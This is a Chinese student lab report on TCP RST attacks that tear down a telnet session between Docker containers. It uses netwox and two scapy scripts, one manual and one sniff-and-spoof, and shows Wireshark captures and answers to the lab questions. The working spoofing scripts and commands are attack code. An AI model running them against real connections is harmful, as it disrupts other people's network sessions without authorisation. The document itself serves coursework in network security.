

2. 针对telnet或ssh连接的TCP RST攻击

2.1 准备工作及相关命令

```
1 # 开启Server的telnet服务并查看telnet的运行状态
2 sudo /etc/init.d/openbsd-inetd restart
3 sudo netstat -a | grep telnet
```

2.2 攻击原理

TCP RST 攻击可以终止两个受害者之间建立的 TCP 连接。例如，如果两个用户 A 和 B 之间存在已建立的 telnet 连接，则攻击者可以伪造一个从 A 到 B 或从 B 到 A 的 RST 报文，从而破坏此现有连接。要成功进行此攻击，攻击者需要正确构建 TCP RST 数据包。首先，每个 TCP 连接都由一个四元组唯一标识：源 IP 地址、源端口、目的 IP 地址、目的端口，因此，伪造数据包的这个四元组必须和连接中使用的一致。其次，伪造数据包的序列号必须是正确的，否则接收方会丢弃这个包。

2.3 利用netwox工具进行攻击

- 该攻击过程中的 wireshark 数据见 2.1. 利用netwox工具进行攻击.pcapng

- 查看 netwox 78 工具的说明：netwox 78 --help

```
[04/11/22]seed@VM:~/.../2022.04.08.TCP$ netwox 78 --help
Title: Reset every TCP packet
Usage: netwox 78 [-d device] [-f filter] [-s spoofip]
Parameters:
  -d|--device device      device name {Eth0}
  -f|--filter filter      pcap filter
  -s|--spoofip spoofip    IP spoof initialization type {linkbraw}
  --help2                 display help for advanced parameters
Example: netwox 78
```

- 首先使用用户机使用 telnet 连接服务机，然后攻击机使用 netwox 攻击：sudo netwox 78 -d docker0，之后在用户机的 telnet 中输入任意字符，可以发现连接断开，攻击成功

```
root@User: 172.17.0.2
root@User:/# telnet 172.17.0.3
Trying 172.17.0.3...
Connected to 172.17.0.3.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
Server login: seed
Password:
Last login: Mon Apr 11 20:11:48 CST 2022 from 172.17.0.2 on pts/0
sh: 1: cannot create /run/motd.dynamic.new: Directory nonexistent
[04/11/22]seed@Server:~$ tConnection closed by foreign host.
root@User:/#
```

```
root@Attacker: 172.17.0.1
[04/11/22]seed@VM:~/.../2022.04.08.TCP$ sudo netwox 78 -d docker0
```

- netwox 发送的 RST 报文如下（注：编号 64 的报文对应编号 59 的报文，编号 64 的报文对应编号 60 的报文）

59	2022-04-11	20:12:53.2288...	172.17.0.2	172.17.0.3	TELNET	67 Telnet Data ...
60	2022-04-11	20:12:53.2292...	172.17.0.3	172.17.0.2	TELNET	67 Telnet Data ...
61	2022-04-11	20:12:53.2293...	172.17.0.2	172.17.0.3	TCP	66 51624 → 23 [ACK] Seq=1999052476 Ack=580258157 Win=29312 Len=0 TSval=11474214
64	2022-04-11	20:12:55.0046...	172.17.0.3	172.17.0.2	TCP	54 23 → 51624 [RST, ACK] Seq=580258156 Ack=1999052476 Win=0 Len=0
65	2022-04-11	20:12:55.0046...	172.17.0.2	172.17.0.3	TCP	54 51624 → 23 [RST, ACK] Seq=1999052476 Ack=580258157 Win=0 Len=0
66	2022-04-11	20:12:55.0047...	172.17.0.3	172.17.0.2	TCP	54 [TCP ACKed unseen segment] 23 → 51624 [RST, ACK] Seq=580258157 Ack=1999052477
*Transmission Control Protocol, Src Port: 51624, Dst Port: 23, Seq: 1999052475, Ack: 580258156, Len: 1						
Source Port: 51624						
Destination Port: 23						
[Stream index: 0]						
[TCP Segment Len: 1]						
Sequence number: 1999052475						
[Next sequence number: 1999052476]						
Acknowledgment number: 580258156						
1000 = Header Length: 32 bytes (8)						
*Flags: 0x018 (PSH, ACK)						
Window size value: 229						
[Calculated window size: 29312]						
[Window size scaling factor: 128]						
Checksum: 0x584f [unverified]						
[Checksum Status: Unverified]						
Urgent pointer: 0						
*Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps						
* [SEQ/ACK analysis]						
* [Timestamps]						
TCP payload (1 byte)						
*Telnet						
Data: t						
59	2022-04-11	20:12:53.2288...	172.17.0.2	172.17.0.3	TELNET	67 Telnet Data ...
60	2022-04-11	20:12:53.2292...	172.17.0.3	172.17.0.2	TELNET	67 Telnet Data ...
61	2022-04-11	20:12:53.2293...	172.17.0.2	172.17.0.3	TCP	66 51624 → 23 [ACK] Seq=1999052476 Ack=580258157 Win=29312 Len=0 TSval=11474214
64	2022-04-11	20:12:55.0046...	172.17.0.3	172.17.0.2	TCP	54 23 → 51624 [RST, ACK] Seq=580258156 Ack=1999052476 Win=0 Len=0
65	2022-04-11	20:12:55.0046...	172.17.0.2	172.17.0.3	TCP	54 51624 → 23 [RST, ACK] Seq=1999052476 Ack=580258157 Win=0 Len=0
66	2022-04-11	20:12:55.0047...	172.17.0.3	172.17.0.2	TCP	54 [TCP ACKed unseen segment] 23 → 51624 [RST, ACK] Seq=580258157 Ack=1999052477
*Transmission Control Protocol, Src Port: 23, Dst Port: 51624, Seq: 580258156, Ack: 1999052476, Len: 1						
Source Port: 23						
Destination Port: 51624						
[Stream index: 0]						
[TCP Segment Len: 1]						
Sequence number: 580258156						
[Next sequence number: 580258157]						
Acknowledgment number: 1999052476						
1000 = Header Length: 32 bytes (8)						
*Flags: 0x018 (PSH, ACK)						
Window size value: 227						
[Calculated window size: 29056]						
[Window size scaling factor: 128]						
Checksum: 0x584f [unverified]						
[Checksum Status: Unverified]						
Urgent pointer: 0						
*Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps						
* [SEQ/ACK analysis]						
* [Timestamps]						
TCP payload (1 byte)						
*Telnet						
Data: t						

- 观察和解释：你的攻击是否成功？你怎么知道它是否成功？你期待看到什么？你观察到了什么？观察结果是你预想的那样吗？
 - 攻击成功；
 - 用户机的 telnet 连接断开且 Wireshark 拦截到相应报文；
 - 期待看到用户机的 telnet 连接断开且 Wireshark 拦截到相应报文；
 - 观察到了用户机的 telnet 连接断开且 Wireshark 拦截到相应报文；
 - 是。

2.4 利用 scapy 手动攻击

- 该攻击过程中的 Wireshark 数据见 2.2. 利用 scapy 手动攻击 .pcapng
- 首先使用户机使用 telnet 连接服务机，同时使用 Wireshark 截取报文，观察服务机向客户机发送的最后一个报文或客户机向服务器发送的最后一个报文，根据报文中的源 IP、源端口、目的 IP、目的端口，并将服务机向客户机发送的最后一个报文的 Ack 或客户机向服务机发送的最后一个报文的 Seq 作为 RST 报文的 Seq（即后文程序中的 1713254838）

...	2022-04-11	20:26:25...	172.17.0.3	172.17.0.2	TELNET	68 Telnet Data ...
...	2022-04-11	20:26:25...	172.17.0.2	172.17.0.3	TCP	66 51632 → 23 [ACK] Seq=1713254838 Ack=553794807 Win=29312 Len=0 TSval=11677238 TSecr=11677238
...	2022-04-11	20:26:25...	172.17.0.3	172.17.0.2	TELNET	91 Telnet Data ...
...	2022-04-11	20:26:25...	172.17.0.2	172.17.0.3	TCP	66 51632 → 23 [ACK] Seq=1713254838 Ack=553794832 Win=29312 Len=0 TSval=11677255 TSecr=11677255
Source Port: 23						
Destination Port: 51632						
[Stream index: 0]						
[TCP Segment Len: 25]						
Sequence number: 553794807						
[Next sequence number: 553794832]						
Acknowledgment number: 1713254838						
1000 = Header Length: 32 bytes (8)						
*Flags: 0x018 (PSH, ACK)						
Window size value: 227						
[Calculated window size: 29056]						
[Window size scaling factor: 128]						
Checksum: 0x5867 [unverified]						
[Checksum Status: Unverified]						
Urgent pointer: 0						
*Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps						
* [SEQ/ACK analysis]						
* [Timestamps]						
TCP payload (25 bytes)						
*Telnet						
Data: [04/11/22]seed@Server:~\$						
0000	02 42 ac 11 00 02 02 42	ac 11 00 03 08 00 45 10	.B.....B.....E..			
0010	00 4d 10 7a 40 00 40 06	d1 f9 ac 11 00 03 ac 11	.M.z@.....<f.1....			
0020	00 02 00 17 c9 b0 21 02	3c f7 66 1e 31 b6 00 18!<f.1....			
0030	00 e3 58 67 00 00 01 01	08 0a 00 b2 2e 47 00 b2	..Xg.....G.....			
0040	2e 36 5b 30 34 2f 31 31	2f 32 32 5d 73 65 65 64	.6[04/11 /22]seed			

- 根据以上拦截到的最后一个服务机发到客户机的报文，使用 `scapy` 构造并发送 RST 报文，程序如下

```

1  #!/usr/bin/python3
2  from scapy.all import *
3
4  print("SENDING RESET PACKET.....")
5  ip = IP(src="172.17.0.2", dst="172.17.0.3")
6  tcp = TCP(sport=51632, dport=23, flags="R", seq=1713254838)
7  pkt = ip/tcp
8  ls(pkt)
9  send(pkt, verbose=0)

```

- 运行攻击程序 `reset_manual.py` 进行攻击： `sudo python3 ./reset_manual.py`，之后在用户机的 `telnet` 中输入任意字符，可以发现连接断开且输入的字符没有回显（原因是攻击报文在发送输入字符的报文前到达服务机），攻击成功

```

root@User: 172.17.0.2
root@User:/# telnet 172.17.0.3
Trying 172.17.0.3...
Connected to 172.17.0.3.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
Server login: seed
Password:
Last login: Mon Apr 11 20:21:47 CST 2022 from 172.17.0.2 on pts/0
sh: 1: cannot create /run/motd.dynamic.new: Directory nonexistent
[04/11/22]seed@Server:~$ Connection closed by foreign host.
root@User:/#

root@Attacker: 172.17.0.1
[04/11/22]seed@VM:~/.../2022.04.08.TCP$ sudo python3 ./reset_manual.py
SENDING RESET PACKET.....
version      : BitField (4 bits)          = 4              ('4')
ihl          : BitField (4 bits)          = None           ('None')
tos          : XByteField                 = 0              ('0')
len          : ShortField                 = None           ('None')
id           : ShortField                 = 1              ('1')
flags        : FlagsField                 = <Flag 0 (>)    ('<Flag 0 (>')
frag         : BitField (13 bits)         = 0              ('0')
ttl          : ByteField                  = 64             ('64')
proto        : ByteEnumField              = 6              ('0')
chksum       : XShortField                = None           ('None')
src          : SourceIPField              = '172.17.0.2'   ('None')
dst          : DestIPField                = '172.17.0.3'   ('None')
options      : PacketListField            = []             ('[]')
--
sport        : ShortEnumField             = 51632          ('20')
dport        : ShortEnumField             = 23             ('80')
seq          : IntField                   = 1713254838     ('0')
ack          : IntField                   = 0              ('0')
dataofs      : BitField (4 bits)          = None           ('None')
reserved     : BitField (3 bits)          = 0              ('0')
flags        : FlagsField                 = <Flag 4 (R)>    ('<Flag 2 (S)>')
window       : ShortField                 = 8192           ('8192')
chksum       : XShortField                = None           ('None')
urgptr       : ShortField                 = 0              ('0')
options      : TCPOptionsField            = []             ('b''')
[04/11/22]seed@VM:~/.../2022.04.08.TCP$

```

- scapy 发送的 RST 报文如下

```

2022-04-11 20:26:25... 172.17.0.3 172.17.0.2 TELNET 91Telnet Data ...
2022-04-11 20:26:25... 172.17.0.2 172.17.0.3 TCP 6651632 - 23 [ACK] Seq=1713254838 Ack=553794832 Win=29312 Len=0 TSval=11677255 TSecr=11677255
2022-04-11 20:27:27... 172.17.0.2 172.17.0.3 TCP 5451632 - 23 [RST] Seq=1713254838 Win=1048576 Len=0
2022-04-11 20:27:27... 172.17.0.3 172.17.0.2 TELNET 67Telnet Data ...
2022-04-11 20:27:27... 172.17.0.2 172.17.0.2 TCP 5423 - 51632 [RST] Seq=553794832 Win=0 Len=0

Frame 71: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
Ethernet II, Src: 02:42:b7:19:49:94 (02:42:b7:19:49:94), Dst: 02:42:ac:11:00:03 (02:42:ac:11:00:03)
Internet Protocol Version 4, Src: 172.17.0.2, Dst: 172.17.0.3
Transmission Control Protocol, Src Port: 51632, Dst Port: 23, Seq: 1713254838, Len: 0
Source Port: 51632
Destination Port: 23
[Stream index: 0]
[TCP Segment Len: 0]
Sequence number: 1713254838
[Next sequence number: 1713254838]
Acknowledgment number: 0
0101 .... = Header Length: 20 bytes (5)
Flags: 0x004 (RST)
Window size value: 8192
[Calculated window size: 1048576]
[Window size scaling factor: 128]
Checksum: 0x0d1c [unverified]
[Checksum Status: Unverified]
Urgent pointer: 0
[Timestamps]

0900 02 42 ac 11 00 03 02 42 b7 19 49 94 08 00 45 00 B....B..I...E
0910 00 28 00 01 00 00 04 06 22 a8 ac 11 00 02 ac 11 (...@.".....
0920 00 03 c9 b0 00 17 66 1e 31 b6 00 00 00 00 50 04 .....f.1....P
0930 20 00 d6 1c 00 00

```

- 观察和解释：你的攻击是否成功？你怎么知道它是否成功？你期待看到什么？你观察到了什么？观察结果是你预想的那样吗？
 - 攻击成功；
 - 用户机的 telnet 连接断开且 Wireshark 拦截到相应报文；
 - 期待看到用户机的 telnet 连接断开且 Wireshark 拦截到相应报文；
 - 观察到了用户机的 telnet 连接断开且 Wireshark 拦截到相应报文；
 - 是。

2.5 利用 scapy 自动攻击

- 该攻击过程中的 Wireshark 数据见 2.3. 利用 scapy 自动攻击 .pcapng
- 模仿 2.4 利用 scapy 手动攻击 中的手动操作过程，此次向用户机发送 RST 报文，只需监听用户机向服务机的 telnet 端口发送的报文，将该报文中的四元组中的源与目的分别交换，且取该报文的 Ack 作为攻击报文的 Seq，即可构造自动攻击程序如下，在参考程序的基础上添加监听的网卡 iface="docker0" 并填充了标注区域内的报文构造过程

```

1  #!/usr/bin/python3
2  from scapy.all import *
3
4  SRC = "172.17.0.2"
5  DST = "172.17.0.3"
6  PORT = 23
7
8  def spoof(pkt):
9      old_tcp = pkt[TCP]
10     old_ip = pkt[IP]
11
12     #####
13     ip = IP(src = old_ip.dst, dst = old_ip.src)
14     tcp = TCP(sport = old_tcp.dport, dport = old_tcp.sport, seq =
old_tcp.ack, flags = "R")
15     #####
16
17     pkt = ip/tcp
18     send(pkt, verbose=0)
19     print("Spoofed Packet: {} --> {}".format(ip.src, ip.dst))
20
21     f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC,
DST, PORT)
22     sniff(filter=f, prn=spoof, iface="docker0")

```

- 首先使用用户机使用 telnet 连接服务机，然后攻击机使用 reset_auto.py 进行攻击：sudo python3 ./reset_auto.py，之后在用户机的 telnet 中输入任意字符，可以发现连接断开，攻击成功

```

root@User: 172.17.0.2
root@User:/# telnet 172.17.0.3
Trying 172.17.0.3...
Connected to 172.17.0.3.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
Server login: seed
Password:
Last login: Mon Apr 11 20:50:03 CST 2022 from 172.17.0.2 on pts/2
sh: 1: cannot create /run/motd.dynamic.new: Directory nonexistent
[04/11/22]seed@Server:~$ tConnection closed by foreign host.
root@User:/#

root@Attacker: 172.17.0.1
[04/11/22]seed@VM:~/.../2022.04.08.TCP$ sudo python3 ./reset_auto.py
Spoofed Packet: 172.17.0.3 --> 172.17.0.2
Spoofed Packet: 172.17.0.3 --> 172.17.0.2

```

- scapy 发送的 RST 报文如下（注：编号 62 的报文对应编号 57 的报文，编号 63 的报文对应编号 59 的报文，服务机没有发送 RST ACK 报文）

57	2022-04-11 20:51:44.8376	172.17.0.2	172.17.0.3	TELNET	67 Telnet Data ...
58	2022-04-11 20:51:44.8379	172.17.0.3	172.17.0.2	TELNET	67 Telnet Data ...
59	2022-04-11 20:51:44.8381	172.17.0.2	172.17.0.3	TCP	66 51642 -> 23 [ACK] Seq=3158212788 Ack=3261952355 Win=29312 Len=0 TSval=12057116 TSecr=12057116
62	2022-04-11 20:51:44.9835	172.17.0.3	172.17.0.2	TCP	54 23 -> 51642 [RST] Seq=3261952354 Win=1048576 Len=0
63	2022-04-11 20:51:44.9838	172.17.0.3	172.17.0.2	TCP	54 23 -> 51642 [RST] Seq=3261952355 Win=1048576 Len=0

*Transmission Control Protocol, Src Port: 51642, Dst Port: 23, Seq: 3158212779, Ack: 3261952354, Len: 1					
Source Port: 51642					
Destination Port: 23					
[Stream index: 0]					
[TCP Segment Len: 1]					
Sequence number: 3158212779					
[Next sequence number: 3158212780]					
Acknowledgment number: 3261952354					
1000 ... = Header Length: 32 bytes (8)					
*Flags: 0x018 (PSH, ACK)					
Window size value: 229					
[Calculated window size: 29312]					
[Window size scaling factor: 128]					
Checksum: 0x584f [unverified]					
[Checksum Status: Unverified]					
Urgent pointer: 0					
*Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps					
* [SEQ/ACK analysis]					
* [Timestamps]					
TCP payload (1 byte)					
*Telnet					
Data: t					

57	2022-04-11 20:51:44.8376	172.17.0.2	172.17.0.3	TELNET	67 Telnet Data ...
58	2022-04-11 20:51:44.8379	172.17.0.3	172.17.0.2	TELNET	67 Telnet Data ...
59	2022-04-11 20:51:44.8381	172.17.0.2	172.17.0.3	TCP	66 51642 -> 23 [ACK] Seq=3158212788 Ack=3261952355 Win=29312 Len=0 TSval=12057116 TSecr=12057116
62	2022-04-11 20:51:44.9835	172.17.0.3	172.17.0.2	TCP	54 23 -> 51642 [RST] Seq=3261952354 Win=1048576 Len=0
63	2022-04-11 20:51:44.9838	172.17.0.3	172.17.0.2	TCP	54 23 -> 51642 [RST] Seq=3261952355 Win=1048576 Len=0

[Header checksum status: Unverified]					
Source: 172.17.0.2					
Destination: 172.17.0.3					
*Transmission Control Protocol, Src Port: 51642, Dst Port: 23, Seq: 3158212780, Ack: 3261952355, Len: 0					
Source Port: 51642					
Destination Port: 23					
[Stream index: 0]					
[TCP Segment Len: 0]					
Sequence number: 3158212780					
[Next sequence number: 3158212789]					
Acknowledgment number: 3261952355					
1000 ... = Header Length: 32 bytes (8)					
*Flags: 0x010 (ACK)					
Window size value: 229					
[Calculated window size: 29312]					
[Window size scaling factor: 128]					
Checksum: 0x584e [unverified]					
[Checksum Status: Unverified]					
Urgent pointer: 0					
*Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps					
* [SEQ/ACK analysis]					
* [Timestamps]					

- 观察和解释：你的攻击是否成功？你怎么知道它是否成功？你期待看到什么？你观察到了什么？观察结果是你预想的那样吗？

- 攻击成功；
- 用户机的 telnet 连接断开且 wireshark 拦截到相应报文；
- 期待看到用户机的 telnet 连接断开且 wireshark 拦截到相应报文；
- 观察到了用户机的 telnet 连接断开且 wireshark 拦截到相应报文；
- 是。